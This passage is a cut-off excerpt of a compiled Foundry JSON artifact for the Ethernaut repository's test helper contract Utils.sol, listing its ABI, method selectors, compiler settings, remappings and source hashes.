etNextUserAddress()":"b90a68fa","getOldFactory(string)":"2356661a","mineBlocks(uint256)":"f82de7b0","submitLevelInstance(address,address)":"9b59adbc","targetArtifactSelectors()":"66d9a9a0","targetArtifacts()":"85226c81","targetContracts()":"3f7286f4","targetInterfaces()":"2ade3880","targetSelectors()":"916a17c6","targetSenders()":"3e5e3c23"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"\",\"type\":\"string\"}],\"name\":\"log\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"name\":\"log_address\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"uint256[]\",\"name\":\"val\",\"type\":\"uint256[]\"}],\"name\":\"log_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"int256[]\",\"name\":\"val\",\"type\":\"int256[]\"}],\"name\":\"log_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"address[]\",\"name\":\"val\",\"type\":\"address[]\"}],\"name\":\"log_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"bytes\",\"name\":\"\",\"type\":\"bytes\"}],\"name\":\"log_bytes\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"bytes32\",\"name\":\"\",\"type\":\"bytes32\"}],\"name\":\"log_bytes32\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"int256\",\"name\":\"\",\"type\":\"int256\"}],\"name\":\"log_int\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"address\",\"name\":\"val\",\"type\":\"address\"}],\"name\":\"log_named_address\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"uint256[]\",\"name\":\"val\",\"type\":\"uint256[]\"}],\"name\":\"log_named_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"int256[]\",\"name\":\"val\",\"type\":\"int256[]\"}],\"name\":\"log_named_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"address[]\",\"name\":\"val\",\"type\":\"address[]\"}],\"name\":\"log_named_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"bytes\",\"name\":\"val\",\"type\":\"bytes\"}],\"name\":\"log_named_bytes\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"bytes32\",\"name\":\"val\",\"type\":\"bytes32\"}],\"name\":\"log_named_bytes32\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"int256\",\"name\":\"val\",\"type\":\"int256\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"decimals\",\"type\":\"uint256\"}],\"name\":\"log_named_decimal_int\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"val\",\"type\":\"uint256\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"decimals\",\"type\":\"uint256\"}],\"name\":\"log_named_decimal_uint\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"int256\",\"name\":\"val\",\"type\":\"int256\"}],\"name\":\"log_named_int\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"string\",\"name\":\"val\",\"type\":\"string\"}],\"name\":\"log_named_string\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"val\",\"type\":\"uint256\"}],\"name\":\"log_named_uint\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"\",\"type\":\"string\"}],\"name\":\"log_string\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"name\":\"log_uint\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"bytes\",\"name\":\"\",\"type\":\"bytes\"}],\"name\":\"logs\",\"type\":\"event\"},{\"inputs\":[],\"name\":\"IS_TEST\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"contract Ethernaut\",\"name\":\"ethernaut\",\"type\":\"address\"},{\"internalType\":\"contract Level\",\"name\":\"level\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"value\",\"type\":\"uint256\"}],\"name\":\"createLevelInstance\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"instance\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"userNum\",\"type\":\"uint256\"}],\"name\":\"createUsers\",\"outputs\":[{\"internalType\":\"address payable[]\",\"name\":\"\",\"type\":\"address[]\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"excludeArtifacts\",\"outputs\":[{\"internalType\":\"string[]\",\"name\":\"excludedArtifacts_\",\"type\":\"string[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"excludeContracts\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"excludedContracts_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"excludeSenders\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"excludedSenders_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"failed\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"owner\",\"type\":\"address\"}],\"name\":\"getEthernautWithStatsProxy\",\"outputs\":[{\"internalType\":\"contract Ethernaut\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"getNextUserAddress\",\"outputs\":[{\"internalType\":\"address payable\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"contractName\",\"type\":\"string\"}],\"name\":\"getOldFactory\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"numBlocks\",\"type\":\"uint256\"}],\"name\":\"mineBlocks\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"contract Ethernaut\",\"name\":\"ethernaut\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"instance\",\"type\":\"address\"}],\"name\":\"submitLevelInstance\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetArtifactSelectors\",\"outputs\":[{\"components\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"},{\"internalType\":\"bytes4[]\",\"name\":\"selectors\",\"type\":\"bytes4[]\"}],\"internalType\":\"struct StdInvariant.FuzzSelector[]\",\"name\":\"targetedArtifactSelectors_\",\"type\":\"tuple[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetArtifacts\",\"outputs\":[{\"internalType\":\"string[]\",\"name\":\"targetedArtifacts_\",\"type\":\"string[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetContracts\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"targetedContracts_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetInterfaces\",\"outputs\":[{\"components\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"},{\"internalType\":\"string[]\",\"name\":\"artifacts\",\"type\":\"string[]\"}],\"internalType\":\"struct StdInvariant.FuzzInterface[]\",\"name\":\"targetedInterfaces_\",\"type\":\"tuple[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetSelectors\",\"outputs\":[{\"components\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"},{\"internalType\":\"bytes4[]\",\"name\":\"selectors\",\"type\":\"bytes4[]\"}],\"internalType\":\"struct StdInvariant.FuzzSelector[]\",\"name\":\"targetedSelectors_\",\"type\":\"tuple[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetSenders\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"targetedSenders_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"test/utils/Utils.sol\":\"Utils\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/forge-std/src/Base.sol\":{\"keccak256\":\"0x4ff1a785311017d1eedb1b4737956fa383067ad34eb439abfec1d989754dde1c\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f553622969b9fdb930246704a4c10dfaee6b1a4468c142fa7eb9dc292a438224\",\"dweb:/ipfs/QmcxqHnqdQsMVtgsfH9VNLmZ3g7GhgNagfq7yvNCDcCHFK\"]},\"lib/forge-std/src/StdAssertions.sol\":{\"keccak256\":\"0xf513292ab066e6017db48ca749c1e63a44dfc5cba0326fc65c718f96e029d361\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://02d715ae2898f1fabd08133f80e6a7a3b87a2796ca5d23d1cb3fed9f4367f34c\",\"dweb:/ipfs/QmfESqa4j3PQAvvdfrnDQ1xUH1TnVCfvZYHsAEDK8z4X4k\"]},\"lib/forge-std/src/StdChains.sol\":{\"keccak256\":\"0x9cc29c28f49d0b7f7b2f1aa32d8273f8a087bf62eb3fb22d893df824052c25ef\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://42dcb36cb10b878a0d5b20ce3a4a3ba4f51f44d7731a66ac1133c699bc80b31b\",\"dweb:/ipfs/QmY6q7SaHQMLBb3rS6xZdArPaXoskWeqF6oJwUeZ3gKLZj\"]},\"lib/forge-std/src/StdCheats.sol\":{\"keccak256\":\"0xb72f3519e0bf7d31df5d68557525f4fc55d861c3fb3b0f7793144ef7c94cbeb7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f3456d0f78e6f61203fa7871ba2df0d35925f10db3baee14be623ce2a35b84e2\",\"dweb:/ipfs/QmWE6QQSBvJifHMraisBTrf1x4WCwrDoTPLX8UKajTiApc\"]},\"lib/forge-std/src/StdError.sol\":{\"keccak256\":\"0xbf477b11a42d7611696956546bcfaa29317d1166bf65e402344599c05943fc77\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bc2e117d1135e030862b96a6526a43feb38d396cc79857f1fb696d4eff0e5fd6\",\"dweb:/ipfs/QmdSuQ5RrQudTLsNmWXGEeVJX8gR5U9XPm6m4dwwuQnJrj\"]},\"lib/forge-std/src/StdInvariant.sol\":{\"keccak256\":\"0x67299bfacd77fddfa2a67b8e2b901e0e333618a4975fb94850b07475e51f6de6\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://1b61121d310f4053ce344b345b4a9ccf43b059daf9097ec2647f594beaca896d\",\"dweb:/ipfs/QmZUCoTtXBM9zfAZVbj2dFPPnKaV1CSZzXE7zictyg3Gfz\"]},\"lib/forge-std/src/StdJson.sol\":{\"keccak256\":\"0x62bed173cb126f6d5006706cf249bac8a2d51bfa18f773f314784ff18adc622d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5acc33dddbf2492e37dc32e89cd56ce917272d303a6874805f3a5768a6bfbf54\",\"dweb:/ipfs/QmTsgFhcpUf16gAVazUXU3WspgX8nHke2hzVCvoqS25WEp\"]},\"lib/forge-std/src/StdMath.sol\":{\"keccak256\":\"0xd90ad4fd8aeaeb8929964e686e769fdedd5eded3fc3815df194a0ab9f91a3fb2\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://7919b70f636c7b805223992f28ad1ad0145d6c1385b5931a3589aface5fe6c92\",\"dweb:/ipfs/QmY7FRaULwoGgFteF8GawjQJRfasNgpWnU2aiMsFrYpuTC\"]},\"lib/forge-std/src/StdStorage.sol\":{\"keccak256\":\"0x651d84d948832f0ef45686417aa68ffb871378fa788a4123dbf37844903c66f3\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://ff20f5ac9de3dc3ba86b1bf1f2723174e82ce3499ad67cb0ccfa7d28baeee678\",\"dweb:/ipfs/QmRZkUFKz7AmF7yk6o317sk822HHhGVPXZQgX8G4LfYfft\"]},\"lib/forge-std/src/StdStyle.sol\":{\"keccak256\":\"0x43e2a8a9b9c2574dabe74f11adf6f782df218f463540e3b5b563609fe108597d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://51363ca97404cf4128e1141428949768c31929e75e014b02c85e887fbbb4f1b8\",\"dweb:/ipfs/QmVhtbQc2fU4rRmbcfBtz34mAgG4BAZBsbna1Ca4SkoPsK\"]},\"lib/forge-std/src/StdToml.sol\":{\"keccak256\":\"0xc8a57915ace96f5b6a85b57e57690fc038cad9034a3dc368c11828a3707c61ab\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://fa880a1a6e5d94005dcf4811b4c0df8d9c06407017ae111bd351483e2b76a72d\",\"dweb:/ipfs/QmcxkEE58gE1vDcZofTr8QpvdjXjgR72yYg7o4vTPSLCsy\"]},\"lib/forge-std/src/StdUtils.sol\":{\"keccak256\":\"0x502b18a4becda6ecd91fa8b419d8034946bfa80e6cc7f6497f51f8565bfadae0\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bf499ee483a1dfd02023d4ce78ed4029a49794ccd5b849aaab912faea0d2ba61\",\"dweb:/ipfs/QmP6hwNZW7sYbQK9fBzuZWxfLm6Swx2nKzvZ54qWNqQkzX\"]},\"lib/forge-std/src/Test.sol\":{\"keccak256\":\"0x3b4bb409a156dee9ce261458117fe9f81080ca844a8a26c07c857c46d155effe\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5792c69fe24bdc063a14e08fe68275007fdb1e5e7e343840a77938cb7e95a64e\",\"dweb:/ipfs/QmcAMhaurUwzhytJFYix4vRNeZeV8g27b8LnV3t7dvYtiK\"]},\"lib/forge-std/src/Vm.sol\":{\"keccak256\":\"0x30d73c4fea34a791ad7334dd701df60fbb565c643556aadd6621e49e48895d1f\",\"license\":\"MIT OR Apache-2.0\",\"urls\":[\"bzz-raw://be9cf80e55eff0f49ad0ab3c44214e56a3e53b5ecafe311a521f5472fa4bbf59\",\"dweb:/ipfs/QmQHrZZoscvkfKSD2m6jhktrh8ieSLV2fg9DHGDHJiBkjT\"]},\"lib/forge-std/src/console.sol\":{\"keccak256\":\"0x91d5413c2434ca58fd278b6e1e79fd98d10c83931cc2596a6038eee4daeb34ba\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://91ccea707361e48b9b7a161fe81f496b9932bc471e9c4e4e1e9c283f2453cc70\",\"dweb:/ipfs/QmcB66sZhQ6Kz7MUHcLE78YXRUZxoZnnxZjN6yATsbB2ec\"]},\"lib/forge-std/src/console2.sol\":{\"keccak256\":\"0x954646445d1014c3cd85c7918f5e7adeeca5ee44b68c00bafa237e597a4e35ea\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://516fa3be52da4763147175bfba4be0aa011fadbb0c1afb01f97265bd4cee7973\",\"dweb:/ipfs/QmdixAyMJefx7qePChgdxcBH5MxhmN7vsqPuPLx3CgrVmF\"]},\"lib/forge-std/src/interfaces/IERC165.sol\":{\"keccak256\":\"0x414b2861b1acbf816ccb7346d3f16cf6c1e002e9e5e40d2f1f26fa5ddc2ea600\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://698352fb240868ea8f1d1fe389993035eeab930f10d06934f80ccfb2b6ccbfbc\",\"dweb:/ipfs/QmT6WLHAgXxFhh12kWym895oTzXid1326iZiwT3pyfggoT\"]},\"lib/forge-std/src/interfaces/IERC20.sol\":{\"keccak256\":\"0x4cab887298790f908c27de107e4e2907ca5413aee482ef776f8d2f353c5ef947\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bb715e0c4a2bdbe432bb624501506041f06e878e0b72675aebba30ad2c2b72e7\",\"dweb:/ipfs/QmWhhLSvkxS2NrukJJHqFY8gDVE5r9rD4PfHvR24pwdKv9\"]},\"lib/forge-std/src/interfaces/IERC721.sol\":{\"keccak256\":\"0xf069262a264fdb69f8f37a10d2df7374649e9ba73f8414c9c8a3b51184625f15\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://924a41ca82a68ffbd503a5faf2f76d13e9938f10501a71094716f12bb64b4b7f\",\"dweb:/ipfs/QmdWnqfKc5ZGhmxNPTde4zrFchnv9Yk9MpCMb2rdhXE5gm\"]},\"lib/forge-std/src/interfaces/IMulticall3.sol\":{\"keccak256\":\"0x7aac1389150499a922d1f9ef5749c908cef127cb2075b92fa17e9cb611263d0a\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://d95ebb7c7c463e08ebc12dab639945752fb2480acfc6e86da32f72732a7fd0c0\",\"dweb:/ipfs/QmNXK8P8oPWwajsQHvAHw3JPyQidPLCGQN3hWu1Lk6PBL2\"]},\"lib/forge-std/src/mocks/MockERC20.sol\":{\"keccak256\":\"0xadbdfc6639edec00ba94bb1133a0fd8de31ccafe45c2ef5df9b3ca61b60b559b\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bc766f01bccf669abac8cc7b2096cc1352a66471ca3772ae61b1801dedc4ed4f\",\"dweb:/ipfs/QmNigaPj1LYkP7Z5xr4ijkUxr2K66fDGeoifG3WoM9ruyw\"]},\"lib/forge-std/src/mocks/MockERC721.sol\":{\"keccak256\":\"0x3293dcbb7acd28df553c954e4e39e288bf10aab7ecda8d50ef21b4f4a91a28d9\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://9eb374daf6df34f4392f8926f1fddbce9f22c423066aeaefdfbe77395f77967b\",\"dweb:/ipfs/QmWR81zBJRX2uyRjveGzikYPj6ZwKppWsU49YEQXTLWUsN\"]},\"lib/forge-std/src/safeconsole.sol\":{\"keccak256\":\"0xbaf41fdc6c54297e7cd8250e48b0f20eaac918e342a1028cef3f9a52ac086381\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://a500ad81dea226f9910e6b50f99a9ff930105e393a692cbfb2185e4cdb4424ae\",\"dweb:/ipfs/QmVbUQpXNMmMWRiy4FvBNczzq46BMGfUoBikvSHNiCxVTq\"]},\"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol\":{\"keccak256\":\"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2\",\"dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y\"]},\"lib/openzeppelin-contracts-08/contracts/interfaces/draft-IERC1822.sol\":{\"keccak256\":\"0x1d4afe6cb24200cc4545eed814ecf5847277dfe5d613a1707aad5fceecebcfff\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://383fb7b8181016ac5ccf07bc9cdb7c1b5045ea36e2cc4df52bcbf20396fc7688\",\"dweb:/ipfs/QmYJ7Cg4WmE3rR8KGQxjUCXFfTH6TcwZ2Z1f6tPrq7jHFr\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Proxy.sol\":{\"keccak256\":\"0xa2b22da3032e50b55f95ec1d13336102d675f341167aa76db571ef7f8bb7975d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://96b6d77a20bebd4eb06b801d3d020c7e82be13bd535cb0d0a6b7181c51dab5d5\",\"dweb:/ipfs/QmPUR9Cv9jNFdQX6PtBfaBW1ZCnKwiu65R2VD5kbdanDyn\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Upgrade.sol\":{\"keccak256\":\"0xabf3f59bc0e5423eae45e459dbe92e7052c6983628d39008590edc852a62f94a\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://89c2a0f70157c13845be5cb49b078a6374fee3a78fa950052a3af26190255da8\",\"dweb:/ipfs/QmUcvMEQH1oMM2pUyMuDiBUKdvvnTz1NRB8bmPHrVq8725\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/Proxy.sol\":{\"keccak256\":\"0xc130fe33f1b2132158531a87734153293f6d07bc263ff4ac90e85da9c82c0e27\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://8831721b6f4cc26534d190f9f1631c3f59c9ff38efdd911f85e0882b8e360472\",\"dweb:/ipfs/QmQZnLErZNStirSQ13ZNWQgvEYUtGE5tXYwn4QUPaVUfPN\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/beacon/IBeacon.sol\":{\"keccak256\":\"0xd50a3421ac379ccb1be435fa646d66a65c986b4924f0849839f08692f39dde61\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://ada1e030c0231db8d143b44ce92b4d1158eedb087880cad6d8cc7bd7ebe7b354\",\"dweb:/ipfs/QmWZ2NHZweRpz1U9GF6R1h65ri76dnX7fNxLBeM2t5N5Ce\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/transparent/TransparentUpgradeableProxy.sol\":{\"keccak256\":\"0xa6a787e7a901af6511e19aa53e1a00352db215a011d2c7a438d0582dd5da76f9\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://a6c4477d480bac20d681ade0e712b77ad828acf530a1d5c0abc5fb78068a05a1\",\"dweb:/ipfs/QmdBqsK8CcUceTeWzhHwFDEvKMoHimwtV96Lbim7ZBtCb8\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Address.sol\":{\"keccak256\":\"0xd6153ce99bcdcce22b124f755e72553295be6abcd63804cfdffceb188b8bef10\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://35c47bece3c03caaa07fab37dd2bb3413bfbca20db7bd9895024390e0a469487\",\"dweb:/ipfs/QmPGWT2x3QHcKxqe6gRmAkdakhbaRgx3DLzcakHz5M4eXG\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Context.sol\":{\"keccak256\":\"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92\",\"dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3\"]},\"lib/openzeppelin-contracts-08/contracts/utils/StorageSlot.sol\":{\"keccak256\":\"0xd5c50c54bf02740ebd122ff06832546cb5fa84486d52695a9ccfd11666e0c81d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://39e096c60a6eb1c6a257122d515496bd92d0c6a693a8f07acb6aa4b1263e95d4\",\"dweb:/ipfs/QmPs5trJBacCiSkezP6tpevapuRYWNY6mqSFzsMCJj7e6B\"]},\"lib/openzeppelin-contracts-upgradeable/contracts/proxy/utils/Initializable.sol\":{\"keccak256\":\"0x89be10e757d242e9b18d5a32c9fbe2019f6d63052bbe46397a430a1d60d7f794\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f103ee2e4aecd37aac6ceefe670709cdd7613dee25fa2d4d9feaf7fc0aaa155e\",\"dweb:/ipfs/QmRiNZLoJk5k3HPMYGPGjZFd2ke1ZxjhJZkM45Ec9GH9hv\"]},\"lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol\":{\"keccak256\":\"0x9c80f545915582e63fe206c6ce27cbe85a86fc10b9cd2a0e8c9488fb7c2ee422\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://310136ad60820af4177a11a61d77a3686faf5fca4942b600e08fc940db38396b\",\"dweb:/ipfs/QmbCzMNSTL7Zi7M4UCSqBrkHtp4jjxUnGbkneCZKdR1qeq\"]},\"src/Ethernaut.sol\":{\"keccak256\":\"0x01f9997fd51455eaa7b174c8386c934f7ea7354f173cd9187ed32685432654d0\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://8d19eb22c9dc3f1d3766107d3edfbaedd96440668048479d7b207a359655e0e2\",\"dweb:/ipfs/QmNjBSmd4qYyq2oAz7htXgTVzTVfLV24mv66J1Muz5i67v\"]},\"src/levels/base/Level.sol\":{\"keccak256\":\"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd\",\"dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA\"]},\"src/metrics/Statistics.sol\":{\"keccak256\":\"0x5484f46a7d8eaf3af521657b6622e28e4830bf62bbc8b7d43524461d4f6d3aca\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bb81e25a880f2fdb59a6950bac19dc3ebc9aaddafed613ee4c43a5e630ea36b5\",\"dweb:/ipfs/QmXXTsXhMFBS9KtbqonTnSyRpiYtyMpS5EpJnCRU5EoUUf\"]},\"src/proxy/ProxyStats.sol\":{\"keccak256\":\"0x2f7e0594da4e2eac4d49b83ec2bb702e01ae9c3efab2cb5fd56efc8793d109be\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://9d16c8ba4af0a29e260df788252370b5e64c3d35691542164d2c084745ee55a2\",\"dweb:/ipfs/QmXD8kxy5UAWSeawQGEzeXFFpZEDSTyrQT51YmHYg27AgS\"]},\"test/utils/Utils.sol\":{\"keccak256\":\"0x4692fd15f85d17daf46d58fc58215e61ff0cc51ffe789605d2e9e56bdbfc8307\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://2d610d54bfcb2a7907d01c086804a8f1c5834041683bc3123d2aa1a32d785998\",\"dweb:/ipfs/QmTMPYbzgh5Fa1gYhn6XtvAe8FtPQJt7cXxsxmbggquE97\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"string","name":"","type":"string","indexed":false}],"type":"event","name":"log","anonymous":false},{"inputs":[{"internalType":"address","name":"","type":"address","indexed":false}],"type":"event","name":"log_address","anonymous":false},{"inputs":[{"internalType":"uint256[]","name":"val","type":"uint256[]","indexed":false}],"type":"event","name":"log_array","anonymous":false},{"inputs":[{"internalType":"int256[]","name":"val","type":"int256[]","indexed":false}],"type":"event","name":"log_array","anonymous":false},{"inputs":[{"internalType":"address[]","name":"val","type":"address[]","indexed":false}],"type":"event","name":"log_array","anonymous":false},{"inputs":[{"internalType":"bytes","name":"","type":"bytes","indexed":false}],"type":"event","name":"log_bytes","anonymous":false},{"inputs":[{"internalType":"bytes32","name":"","type":"bytes32","indexed":false}],"type":"event","name":"log_bytes32","anonymous":false},{"inputs":[{"internalType":"int256","name":"","type":"int256","indexed":false}],"type":"event","name":"log_int","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"address","name":"va